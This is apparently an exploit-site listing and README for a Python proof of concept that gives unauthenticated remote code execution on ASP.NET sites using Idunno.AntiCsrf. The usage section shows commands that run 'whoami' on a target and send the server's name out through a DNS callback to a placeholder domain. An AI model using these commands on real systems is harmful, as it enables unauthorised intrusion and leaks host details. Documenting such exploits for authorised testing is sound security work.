Critical Severity CVE-2026-131914
Published: Nov 24, 2026

[GitHub] cve-2026-131914-poc

Rce
Type
N/A
CVSS Score
1
Views
Anonymous
Author

Description

CVE-2026-131914 PoC: unauthenticated RCE in ASP.NET sites using Idunno.AntiCsrf (unkeyed ObjectStateFormatter deserialization). Single-file pure Python with DNS callback mode. Lab-tested.

# CVE-2026-131914 PoC

Exploit for CVE-2026-131914: unauthenticated remote code execution in ASP.NET WebForms sites that use the old `Idunno.AntiCsrf` library. The library is abandoned and has no fix.

Use it only on systems you are allowed to test.

## How it works

The library takes the CSRF token from a form field and loads it without any signature or key. This script sends one crafted POST and runs a command inside the IIS worker process (`w3wp.exe`).

It is one Python file with no dependencies (standard library only) and builds the payload by itself.

## Usage

```bash
# Run a command on the server
python3 poc.py --target https://host/page.aspx --cmd 'C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\m.txt'

# Get a DNS callback that contains the server name
python3 poc.py --target https://host/page.aspx --oob abc123.example.com --oob-label test1
```

With `--oob`, the server runs `nslookup <label>.<server name>.<domain>`, so the hit shows up in your DNS logging tool.

```bash
python3 poc.py --dry-run ... # only show the payload, send nothing
python3 poc.py --selftest # quick check of the script
```

## Good to know

- Works on .NET Framework 4.x sites where the page can be reached without login.
- Tested in a lab only.
- The server answers with an error page (HTTP 500) even when the command runs. Check the result of the command, not the response.

## Credits

- Gadget chain: [ysoserial.net](https://github.com/pwntester/ysoserial.net)
- Advisory: [Mandiant MNDT-2026-0048](https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0048.md)

Community Rating
0

Login to rate this exploit

Quick Actions